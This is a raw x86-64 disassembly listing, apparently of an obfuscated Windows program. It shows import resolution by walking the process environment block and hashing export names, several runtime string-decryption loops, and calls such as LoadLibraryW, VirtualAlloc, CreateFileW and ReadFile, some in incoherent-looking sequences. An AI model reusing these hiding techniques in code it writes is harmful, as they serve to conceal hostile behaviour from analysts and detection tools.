lea rdx, [rbp + 0x1fc]
lea rcx, [rbp - 0x6d]
call fcn.140279a70
mov r9, rax
mov r8d, dword [rax + 4]
movzx ecx, byte [rax + 0xa]
mov edx, r8d
shr edx, cl
test dl, 1
je 0x140282b99
movzx ecx, byte [rax]
inc cl
mov edx, r8d
shr edx, cl
test dl, 1
jne 0x140282bd4
movzx edx, byte [rax]
lea eax, [rdx + 2]
movzx ecx, al
bt r8d, ecx
setae cl
bt r8d, edx
setae al
test al, cl
je 0x140282bd4
movzx ecx, byte [r9 + 8]
mov eax, r8d
shr eax, cl
test al, 1
jne 0x140282bd4
movzx ecx, byte [r9 + 9]
shr r8d, cl
test r8b, 1
je 0x1402835aa
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x140282c78
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x140282c78
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rsi + r11*4]
mov r9d, dword [rcx + rbx]
add r9, rbx
mov r10d, 0x73b9f628
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x140282c73
movsx ecx, r8b
sub r8b, r15b
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x140282c40
cmp r10d, 0xf11dcf42
je 0x140282c80
test r11d, r11d
jne 0x140282c20
mov rax, qword [rax]
jmp 0x140282bf0
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov ecx, dword [rcx + rax*4]
add rcx, rbx
call rcx
test eax, eax
je 0x1402835aa
xor eax, eax
mov byte [rbp - 0x6c], al
lea rdx, [rbp + 0x208]
lea rcx, [rbp - 0x6c]
call fcn.140279a90
mov r8, rax
mov byte [rax + 4], r12b
movzx r10d, byte [rax + 7]
xor r10b, byte [rax]
mov byte [rax + 3], r10b
xor cl, cl
movzx edx, byte [rax + 1]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140282ce3
inc cl
cmp cl, 4
jne 0x140282cd1
jmp 0x140282cf3
movsx ecx, r10b
movzx eax, byte [r8 + 0xa]
btc ecx, eax
mov byte [r8 + 3], cl
mov cl, 5
movzx edx, byte [r8 + 2]
nop word [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140282d12
inc cl
cmp cl, 8
jne 0x140282d00
jmp 0x140282d23
movsx ecx, byte [r8 + 3]
movzx eax, byte [r8 + 9]
btc ecx, eax
mov byte [r8 + 3], cl
xor cl, cl
movzx edx, byte [r8 + 2]
nop word [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140282d42
inc cl
cmp cl, 5
jne 0x140282d30
jmp 0x140282d53
movsx edx, byte [r8 + 3]
movzx eax, byte [r8 + 8]
btc edx, eax
mov byte [r8 + 3], dl
movzx eax, byte [r8 + 6]
xor byte [r8 + 3], al
lea rcx, [r8 + 3]
call fcn.14031b5fc
mov r15d, eax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
mov rbx, qword [rcx + 0x30]
movsxd rdx, dword [rbx + 0x3c]
mov r14d, dword [rdx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x140282e09
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x140282e09
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rax, [rbx + r11*4]
mov r9d, dword [rax + rsi]
add r9, rbx
mov r10d, 0x57a8ce65
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x140282e04
movsx eax, r8b
sub r8b, 0x41
mov edx, eax
or edx, 0x20
cmp r8b, 0x19
cmova edx, eax
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x140282dd0
cmp r10d, 0x4a0cfd25
je 0x140282e11
test r11d, r11d
jne 0x140282db0
mov rcx, qword [rcx]
jmp 0x140282d80
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov edx, dword [rcx + rax*4]
add rdx, rbx
mov ecx, r15d
call rdx
jmp 0x1402835aa
xor eax, eax
mov byte [rbp - 0x6b], al
lea rdx, [rbp + 0x2410]
lea rcx, [rbp - 0x6b]
call fcn.140279ab0
mov r10, rax
mov byte [rax + 0x40], 0
xor r12d, r12d
mov edi, r12d
lea r8, [rax + 0x30]
nop word [rax + rax]
lea ebx, [rdi + rdi*2]
movzx edx, byte [rbx + r10]
mov byte [r8], dl
movzx eax, dil
add al, al
lea esi, [rax + rdi]
movzx r9d, sil
add r9b, byte [r10 + 0x43]
xor r9b, dl
mov byte [r8], r9b
xor dl, dl
lea eax, [rbx + 1]
movzx r11d, byte [rax + r10]
nop dword [rax]
movzx eax, r11b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x140282ea6
inc dl
cmp dl, 4
jne 0x140282e90
jmp 0x140282eb5
movsx ecx, r9b
movzx eax, byte [r10 + 0x46]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rbx + 2]
mov r9d, eax
movzx edx, byte [rax + r10]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140282ed4
inc cl
cmp cl, 8
jne 0x140282ec2
jmp 0x140282ee3
movsx ecx, byte [r8]
movzx eax, byte [r10 + 0x45]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r9 + r10]
nop word [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140282f02
inc cl
cmp cl, 5
jne 0x140282ef0
jmp 0x140282f11
movsx ecx, byte [r8]
movzx eax, byte [r10 + 0x44]
btc ecx, eax
mov byte [r8], cl
add sil, byte [r10 + 0x42]
xor byte [r8], sil
inc edi
inc r8
cmp edi, 0x10
jne 0x140282e60
mov eax, 0xcccccccd
mov ecx, dword [0x14039d270]
mul ecx
shr edx, 3
lea eax, [rdx + rdx*4]
add eax, eax
sub ecx, eax
cmp byte [rcx + r10 + 0x30], 0x2e
jne 0x1402835aa
mov dword [0x14039d270], 0x2a
jmp 0x1402835aa
xor eax, eax
mov byte [rbp - 0x6a], al
lea rdx, [rbp + 0x2a40]
lea rcx, [rbp - 0x6a]
call fcn.140279b30
mov r10, rax
mov byte [rax + 0x5c], 0
xor r12d, r12d
mov edi, r12d
lea r8, [rax + 0x45]
nop
lea ebx, [rdi + rdi*2]
movzx edx, byte [rbx + r10]
mov byte [r8], dl
movzx eax, dil
add al, al
lea esi, [rax + rdi]
movzx r9d, sil
add r9b, byte [r10 + 0x5f]
xor r9b, dl
mov byte [r8], r9b
xor dl, dl
lea eax, [rbx + 1]
movzx r11d, byte [rax + r10]
nop dword [rax]
movzx eax, r11b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x140282fc6
inc dl
cmp dl, 4
jne 0x140282fb0
jmp 0x140282fd5
movsx ecx, r9b
movzx eax, byte [r10 + 0x62]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rbx + 2]
mov r9d, eax
movzx edx, byte [rax + r10]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140282ff4
inc cl
cmp cl, 8
jne 0x140282fe2
jmp 0x140283003
movsx ecx, byte [r8]
movzx eax, byte [r10 + 0x61]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r9 + r10]
nop word [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140283022
inc cl
cmp cl, 5
jne 0x140283010
jmp 0x140283031
movsx ecx, byte [r8]
movzx eax, byte [r10 + 0x60]
btc ecx, eax
mov byte [r8], cl
add sil, byte [r10 + 0x5e]
xor byte [r8], sil
inc edi
inc r8
cmp edi, 0x17
jne 0x140282f80
mov eax, 0xcccccccd
mov r8d, dword [0x14039d270]
mul r8d
shr edx, 3
lea ecx, [rdx + rdx*4]
add ecx, ecx
mov eax, r8d
sub eax, ecx
cmp byte [rax + r10 + 0x45], 0x2e
jne 0x140283079
mov dword [0x14039d270], 0x12
jmp 0x1402835aa
cmp r8d, 0x5e
jbe 0x1402835aa
mov dword [0x14039d270], 3
jmp 0x1402835aa
xor eax, eax
mov byte [rbp - 0x69], al
lea rdx, [rbp + 0x2ab0]
lea rcx, [rbp - 0x69]
call fcn.140279bd0
mov r10, rax
mov byte [rax + 0x5c], 0
xor r12d, r12d
mov edi, r12d
lea r8, [rax + 0x45]
nop dword [rax + rax]
lea ebx, [rdi + rdi*2]
movzx edx, byte [rbx + r10]
mov byte [r8], dl
movzx eax, dil
add al, al
lea esi, [rax + rdi]
movzx r9d, sil
add r9b, byte [r10 + 0x5f]
xor r9b, dl
mov byte [r8], r9b
xor dl, dl
lea eax, [rbx + 1]
movzx r11d, byte [rax + r10]
nop dword [rax]
movzx eax, r11b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x140283106
inc dl
cmp dl, 4
jne 0x1402830f0
jmp 0x140283115
movsx ecx, r9b
movzx eax, byte [r10 + 0x62]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rbx + 2]
mov r9d, eax
movzx edx, byte [rax + r10]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140283134
inc cl
cmp cl, 8
jne 0x140283122
jmp 0x140283143
movsx ecx, byte [r8]
movzx eax, byte [r10 + 0x61]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r9 + r10]
nop word [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140283162
inc cl
cmp cl, 5
jne 0x140283150
jmp 0x140283171
movsx ecx, byte [r8]
movzx eax, byte [r10 + 0x60]
btc ecx, eax
mov byte [r8], cl
add sil, byte [r10 + 0x5e]
xor byte [r8], sil
inc edi
inc r8
cmp edi, 0x17
jne 0x1402830c0
mov eax, 0xcccccccd
mov ecx, dword [0x14039d270]
mul ecx
shr edx, 3
lea eax, [rdx + rdx*4]
add eax, eax
sub ecx, eax
cmp byte [rcx + r10 + 0x45], 0x2e
jne 0x1402835aa
mov dword [0x14039d270], 0x40
jmp 0x1402835aa
xor eax, eax
mov byte [rbp - 0x68], al
lea rdx, [rbp + 0x21e0]
lea rcx, [rbp - 0x68]
call fcn.140279c70
mov r10, rax
mov byte [rax + 0x44], 0
xor r12d, r12d
mov edi, r12d
lea r8, [rax + 0x33]
nop
lea ebx, [rdi + rdi*2]
movzx edx, byte [rbx + r10]
mov byte [r8], dl
movzx eax, dil
add al, al
lea esi, [rax + rdi]
movzx r9d, sil
add r9b, byte [r10 + 0x47]
xor r9b, dl
mov byte [r8], r9b
xor dl, dl
lea eax, [rbx + 1]
movzx r11d, byte [rax + r10]
nop dword [rax]
movzx eax, r11b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x140283226
inc dl
cmp dl, 4
jne 0x140283210
jmp 0x140283235
movsx ecx, r9b
movzx eax, byte [r10 + 0x4a]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rbx + 2]
mov r9d, eax
movzx edx, byte [rax + r10]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140283254
inc cl
cmp cl, 8
jne 0x140283242
jmp 0x140283263
movsx ecx, byte [r8]
movzx eax, byte [r10 + 0x49]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r9 + r10]
nop word [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140283282
inc cl
cmp cl, 5
jne 0x140283270
jmp 0x140283291
movsx ecx, byte [r8]
movzx eax, byte [r10 + 0x48]
btc ecx, eax
mov byte [r8], cl
add sil, byte [r10 + 0x46]
xor byte [r8], sil
inc edi
inc r8
cmp edi, 0x11
jne 0x1402831e0
mov eax, 0xcccccccd
mov ecx, dword [0x14039d270]
mul ecx
shr edx, 3
lea eax, [rdx + rdx*4]
add eax, eax
sub ecx, eax
cmp byte [rcx + r10 + 0x33], 0x2e
jne 0x1402832d4
mov dword [0x14039d270], 0x44
jmp 0x1402835aa
mov byte [0x14039d209], 8
jmp 0x1402835aa
xor eax, eax
mov byte [rbp - 0x67], al
lea rdx, [rbp + 0x2cd0]
lea rcx, [rbp - 0x67]
call fcn.140279cf0
mov r10, rax
mov byte [rax + 0x54], 0
xor r12d, r12d
mov edi, r12d
lea r8, [rax + 0x3f]
nop word [rax + rax]
lea ebx, [rdi + rdi*2]
movzx edx, byte [rbx + r10]
mov byte [r8], dl
movzx eax, dil
add al, al
lea esi, [rax + rdi]
movzx r9d, sil
add r9b, byte [r10 + 0x57]
xor r9b, dl
mov byte [r8], r9b
xor dl, dl
lea eax, [rbx + 1]
movzx r11d, byte [rax + r10]
nop dword [rax]
movzx eax, r11b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x140283356
inc dl
cmp dl, 4
jne 0x140283340
jmp 0x140283365
movsx ecx, r9b
movzx eax, byte [r10 + 0x5a]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rbx + 2]
mov r9d, eax
movzx edx, byte [rax + r10]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140283384
inc cl
cmp cl, 8
jne 0x140283372
jmp 0x140283393
movsx ecx, byte [r8]
movzx eax, byte [r10 + 0x59]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r9 + r10]
nop word [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1402833b2
inc cl
cmp cl, 5
jne 0x1402833a0
jmp 0x1402833c1
movsx ecx, byte [r8]
movzx eax, byte [r10 + 0x58]
btc ecx, eax
mov byte [r8], cl
add sil, byte [r10 + 0x56]
xor byte [r8], sil
inc edi
inc r8
cmp edi, 0x15
jne 0x140283310
mov eax, 0xcccccccd
mov ecx, dword [0x14039d270]
mul ecx
shr edx, 3
lea eax, [rdx + rdx*4]
add eax, eax
sub ecx, eax
cmp byte [r10 + rcx + 0x3f], 0x2e
jne 0x1402835aa
xor eax, eax
mov byte [rbp - 0x66], al
lea rdx, [rbp + 0x218]
lea rcx, [rbp - 0x66]
call fcn.140279d90
mov r9, rax
mov r8d, dword [rax + 4]
movzx ecx, byte [rax + 0xa]
mov edx, r8d
shr edx, cl
test dl, 1
je 0x140283432
movzx ecx, byte [rax]
inc cl
mov edx, r8d
shr edx, cl
test dl, 1
jne 0x14028346d
movzx edx, byte [rax]
lea eax, [rdx + 2]
movzx ecx, al
bt r8d, ecx
setae cl
bt r8d, edx
setae al
test al, cl
je 0x14028346d
movzx ecx, byte [r9 + 8]
mov eax, r8d
shr eax, cl
test al, 1
jne 0x14028346d
movzx ecx, byte [r9 + 9]
shr r8d, cl
test r8b, 1
je 0x1402835aa
mov dword [0x14039d270], 0x22
jmp 0x1402835aa
xor eax, eax
mov byte [rbp - 0x65], al
lea rdx, [rbp + 0xec0]
lea rcx, [rbp - 0x65]
call fcn.140279db0
mov r10, rax
mov byte [rax + 0x28], 0
xor r12d, r12d
mov edi, r12d
lea r8, [rax + 0x1e]
nop dword [rax]
nop word [rax + rax]
lea ebx, [rdi + rdi*2]
movzx edx, byte [rbx + r10]
mov byte [r8], dl
movzx eax, dil
add al, al
lea esi, [rax + rdi]
movzx r9d, sil
add r9b, byte [r10 + 0x2b]
xor r9b, dl
mov byte [r8], r9b
xor dl, dl
lea eax, [rbx + 1]
movzx r11d, byte [rax + r10]
nop dword [rax]
movzx eax, r11b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1402834f6
inc dl
cmp dl, 4
jne 0x1402834e0
jmp 0x140283505
movsx ecx, r9b
movzx eax, byte [r10 + 0x2e]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rbx + 2]
mov r9d, eax
movzx edx, byte [rax + r10]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140283524
inc cl
cmp cl, 8
jne 0x140283512
jmp 0x140283533
movsx ecx, byte [r8]
movzx eax, byte [r10 + 0x2d]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r9 + r10]
nop word [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140283552
inc cl
cmp cl, 5
jne 0x140283540
jmp 0x140283561
movsx ecx, byte [r8]
movzx eax, byte [r10 + 0x2c]
btc ecx, eax
mov byte [r8], cl
add sil, byte [r10 + 0x2a]
xor byte [r8], sil
inc edi
inc r8
cmp edi, 0xa
jne 0x1402834b0
movzx ecx, byte [0x14039d209]
mov eax, 0xcccccccd
mul ecx
shr edx, 3
lea eax, [rdx + rdx*4]
add eax, eax
sub ecx, eax
movsxd rax, ecx
cmp byte [r10 + rax + 0x1e], dil
jne 0x1402835a4
mov dword [0x14039d270], 0x4c
jmp 0x1402835aa
inc dword [0x14039d270]
test r13, r13
je 0x1402835ff
lea rdx, [r13 + 0x340]
movzx eax, byte [r13 + 0x9a]
mov byte [rsp + 0x30], al
mov eax, dword [r13 + 0x6c]
mov dword [rsp + 0x28], eax
movzx eax, byte [r13 + 0x84]
mov byte [rsp + 0x20], al
movzx r9d, byte [r13 + 0x72]
movss xmm2, dword [r13 + 0x38]
movss xmm1, dword [r13 + 0x34]
mov rcx, r13
call rdx
test al, al
je 0x1402835f6
mov r13, qword [r13 + 0x40]
jmp 0x140283602
mov r13, qword [r13 + 0x118]
jmp 0x140283602
mov r13, r12
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x1402836a9
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x1402836a9
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rbx + r11*4]
mov r9d, dword [rcx + rsi]
add r9, rbx
mov r10d, 0x240857cf
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x1402836a4
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x140283670
cmp r10d, 0x757d29f3
je 0x1402836b1
test r11d, r11d
jne 0x140283650
mov rax, qword [rax]
jmp 0x140283620
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov ecx, dword [rcx + rax*4]
add rcx, rbx
call rcx
mov rbx, rax
call qword [sym.imp.USER32.dll_GetForegroundWindow]
cmp rbx, rax
jne 0x14028384b
mov rcx, qword [r13 + 0xa8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rdx, qword [r13 + 0xc8]
mov rcx, qword [r13 + 0xc0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ecx, ecx
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov r15, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov rbx, qword [rcx + 0x30]
movsxd rdx, dword [rbx + 0x3c]
mov r14d, dword [rdx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x1402837a9
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x1402837a9
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rax, [rbx + r11*4]
mov r9d, dword [rax + rsi]
add r9, rbx
mov r10d, 0x24c7b41e
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x1402837a4
movsx eax, r8b
sub r8b, 0x41
mov edx, eax
or edx, 0x20
cmp r8b, 0x19
cmova edx, eax
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x140283770
cmp r10d, 0x81cc0ab4
je 0x1402837b1
test r11d, r11d
jne 0x140283750
mov rcx, qword [rcx]
jmp 0x140283720
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov r8d, dword [rcx + rax*4]
add r8, rbx
mov edx, 1
mov rcx, r15
call r8
mov ebx, eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1000
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [r13 + 0x19d8]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
test rax, rax
je 0x140283837
mov qword [rsp + 0x20], r12
mov r9, qword [r13 + 0x1124]
mov r8d, reloc.WS2_32.dll_sendto
mov rdx, qword [r13 + 0x1100]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp ebx, eax
jne 0x1402960ca
add r13, 0x28
jmp 0x14028384e
mov r13, r12
movss xmm0, dword [0x140398d54]
ucomiss xmm0, dword [r13]
jp 0x140283864
jne 0x140283864
mov r14, r12
jmp 0x1402838c2
mov r8d, 1
mov edx, r12d
mov r10d, dword [r13 + 0x90]
test r10d, r10d
jle 0x1402838b4
nop dword [rax]
mov r9d, r12d
test edx, edx
jle 0x1402838ad
nop word [rax + rax]
bt r9d, 0
lea eax, [rdx + 1]
cmovae eax, edx
mov edx, eax
lea rax, [r8 + 0x18]
cmovae r8, rax
inc r9d
cmp r9d, edx
jl 0x140283890
inc edx
cmp edx, r10d
jl 0x140283880
mov rax, qword [r8 + r13 + 0x148]
mov rcx, qword [rax]
mov r14, qword [rcx]
mov r12d, dword [r14]
mov r13d, dword [r14 + 4]
xor eax, eax
mov byte [rbp - 0x64], al
lea rdx, [rbp + 0x1a80]
lea rcx, [rbp - 0x64]
call fcn.140271470
mov r11, rax
mov byte [rax + 0x38], 0
xor edi, edi
lea r8, [rax + 0x2a]
nop dword [rax + rax]
lea ebx, [rdi + rdi*2]
movzx edx, byte [rbx + r11]
mov byte [r8], dl
movzx eax, dil
add al, al
lea esi, [rax + rdi]
movzx r9d, sil
add r9b, byte [r11 + 0x3b]
xor r9b, dl
mov byte [r8], r9b
xor dl, dl
lea eax, [rbx + 1]
movzx r10d, byte [rax + r11]
nop dword [rax]
movzx eax, r10b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x140283936
inc dl
cmp dl, 4
jne 0x140283920
jmp 0x140283945
movsx ecx, r9b
movzx eax, byte [r11 + 0x3e]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rbx + 2]
mov r9d, eax
movzx edx, byte [rax + r11]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140283964
inc cl
cmp cl, 8
jne 0x140283952
jmp 0x140283973
movsx ecx, byte [r8]
movzx eax, byte [r11 + 0x3d]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r9 + r11]
nop word [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140283992
inc cl
cmp cl, 5
jne 0x140283980
jmp 0x1402839a1
movsx edx, byte [r8]
movzx eax, byte [r11 + 0x3c]
btc edx, eax
mov byte [r8], dl
add sil, byte [r11 + 0x3a]
xor byte [r8], sil
inc edi
inc r8
cmp edi, 0xe
jne 0x1402838f0
mov r8d, r13d
mov edx, r12d
lea rcx, [r11 + 0x2a]
call fcn.1402ae6e0
lea eax, [r12*4 + 8]
movsxd rcx, eax
inc rcx
lea rbx, [r14 + rcx*4]
call fcn.1402779d0
test rbx, rbx
je 0x1402839f9
mov edx, dword [rbx + 0x18]
imul edx, dword [rbx + 0x10]
mov eax, dword [rbx + 0x38]
lea ecx, [rax + rax*4]
add ecx, ecx
sub edx, ecx
movsxd rax, edx
movsxd rbx, dword [rbx + rax*4]
movss xmm0, dword [0x140398d54]
ucomiss xmm0, dword [rbx]
jp 0x140283a0c
je 0x140283ab2
xor edi, edi
lea r8d, [rdi + 1]
mov edx, edi
mov r10d, dword [rbx + 0x90]
test r10d, r10d
jle 0x140283a54
mov r9d, edi
test edx, edx
jle 0x140283a4d
nop word [rax + rax]
bt r9d, 0
lea eax, [rdx + 1]
cmovae eax, edx
mov edx, eax
lea rax, [r8 + 0x18]
cmovae r8, rax
inc r9d
cmp r9d, edx
jl 0x140283a30
inc edx
cmp edx, r10d
jl 0x140283a20
mov rax, qword [rbx + r8 + 0x148]
mov rcx, qword [rax]
mov rbx, qword [rcx]
test rbx, rbx
je 0x140283ab4
lea rdx, [rbx + 0x340]
movzx eax, byte [rbx + 0x9a]
mov byte [rsp + 0x30], al
mov eax, dword [rbx + 0x6c]
mov dword [rsp + 0x28], eax
movzx eax, byte [rbx + 0x84]
mov byte [rsp + 0x20], al
movzx r9d, byte [rbx + 0x72]
movss xmm2, dword [rbx + 0x38]
movss xmm1, dword [rbx + 0x34]
mov rcx, rbx
call rdx
test al, al
je 0x140283aa9
mov r11, qword [rbx + 0x40]
jmp 0x140283ab7
mov r11, qword [rbx + 0x118]
jmp 0x140283ab7
xor edi, edi
mov r11, rdi
movss xmm0, dword [0x140398d54]
ucomiss xmm0, dword [r11]
jp 0x140283acc
jne 0x140283acc
mov r14, rdi
jmp 0x140283b22
mov r8d, 1
mov edx, edi
mov r10d, dword [r11 + 0x90]
test r10d, r10d
jle 0x140283b14
mov r9d, edi
test edx, edx
jle 0x140283b0d
nop word [rax + rax]
bt r9d, 0
lea eax, [rdx + 1]
cmovae eax, edx
mov edx, eax
lea rax, [r8 + 0x18]
cmovae r8, rax
inc r9d
cmp r9d, edx
jl 0x140283af0
inc edx
cmp edx, r10d
jl 0x140283ae0
mov rax, qword [r11 + r8 + 0x148]
mov rcx, qword [rax]
mov r14, qword [rcx]
mov r12d, dword [r14]
mov r13d, dword [r14 + 4]
xor eax, eax
mov byte [rbp - 0x63], al
lea rdx, [rbp + 0x1ac0]
lea rcx, [rbp - 0x63]
call fcn.140271470
mov r11, rax
mov byte [rax + 0x38], 0
lea r8, [rax + 0x2a]
nop dword [rax]
lea ebx, [rdi + rdi*2]
movzx edx, byte [rbx + r11]
mov byte [r8], dl
movzx eax, dil
add al, al
lea esi, [rax + rdi]
movzx r9d, sil
add r9b, byte [r11 + 0x3b]
xor r9b, dl
mov byte [r8], r9b
xor dl, dl
lea eax, [rbx + 1]
movzx r10d, byte [rax + r11]
nop dword [rax]
movzx eax, r10b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x140283b96
inc dl
cmp dl, 4
jne 0x140283b80
jmp 0x140283ba5
movsx ecx, r9b
movzx eax, byte [r11 + 0x3e]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rbx + 2]
mov r9d, eax
movzx edx, byte [rax + r11]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140283bc4
inc cl
cmp cl, 8
jne 0x140283bb2
jmp 0x140283bd3
movsx ecx, byte [r8]
movzx eax, byte [r11 + 0x3d]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r9 + r11]
nop word [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140283bf2
inc cl
cmp cl, 5
jne 0x140283be0
jmp 0x140283c01
movsx edx, byte [r8]
movzx eax, byte [r11 + 0x3c]
btc edx, eax
mov byte [r8], dl
add sil, byte [r11 + 0x3a]
xor byte [r8], sil
inc edi
inc r8
cmp edi, 0xe
jne 0x140283b50
mov r8d, r13d
mov edx, r12d
lea rcx, [r11 + 0x2a]
call fcn.1402ae6e0
lea eax, [r12*4 + 8]
movsxd rcx, eax
lea rbx, [r14 + rcx*4]
movss xmm0, dword [rbx + 4]
call fcn.1403268e8
movaps xmm6, xmm0
xor eax, eax
mov byte [rbp - 0x62], al
lea rdx, [rbp + 0x224]
lea rcx, [rbp - 0x62]
call fcn.1402715b0
mov r9, rax
mov r8d, dword [rax + 4]
movzx ecx, byte [rax + 0xa]
mov edx, r8d
shr edx, cl
test dl, 1
je 0x140283c7a
movzx ecx, byte [rax]
inc cl
mov edx, r8d
shr edx, cl
test dl, 1
jne 0x140283cb1
movzx edx, byte [rax]
lea eax, [rdx + 2]
movzx ecx, al
bt r8d, ecx
setae cl
bt r8d, edx
setae al
test al, cl
je 0x140283cb1
movzx ecx, byte [r9 + 8]
mov eax, r8d
shr eax, cl
test al, 1
jne 0x140283cb1
movzx ecx, byte [r9 + 9]
shr r8d, cl
test r8b, 1
je 0x140283cdd
comiss xmm7, xmm6
jbe 0x140283cdd
xorps xmm2, xmm2
cvtss2sd xmm2, xmm6
lea rdx, [rbx + 0x4c]
movq r8, xmm2
lea rcx, [0x140375eb0]
call fcn.1402ae6e0
xor r15d, r15d
mov r13d, r15d
jmp 0x140283e8b
call qword [sym.imp.KERNEL32.dll_GetACP]
mov edi, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call qword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x140283d08
mov edx, edi
lea rcx, [0x140375eb8]
call fcn.1402ae6e0
jmp 0x140283d3a
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x140283d2f
mov ecx, 1
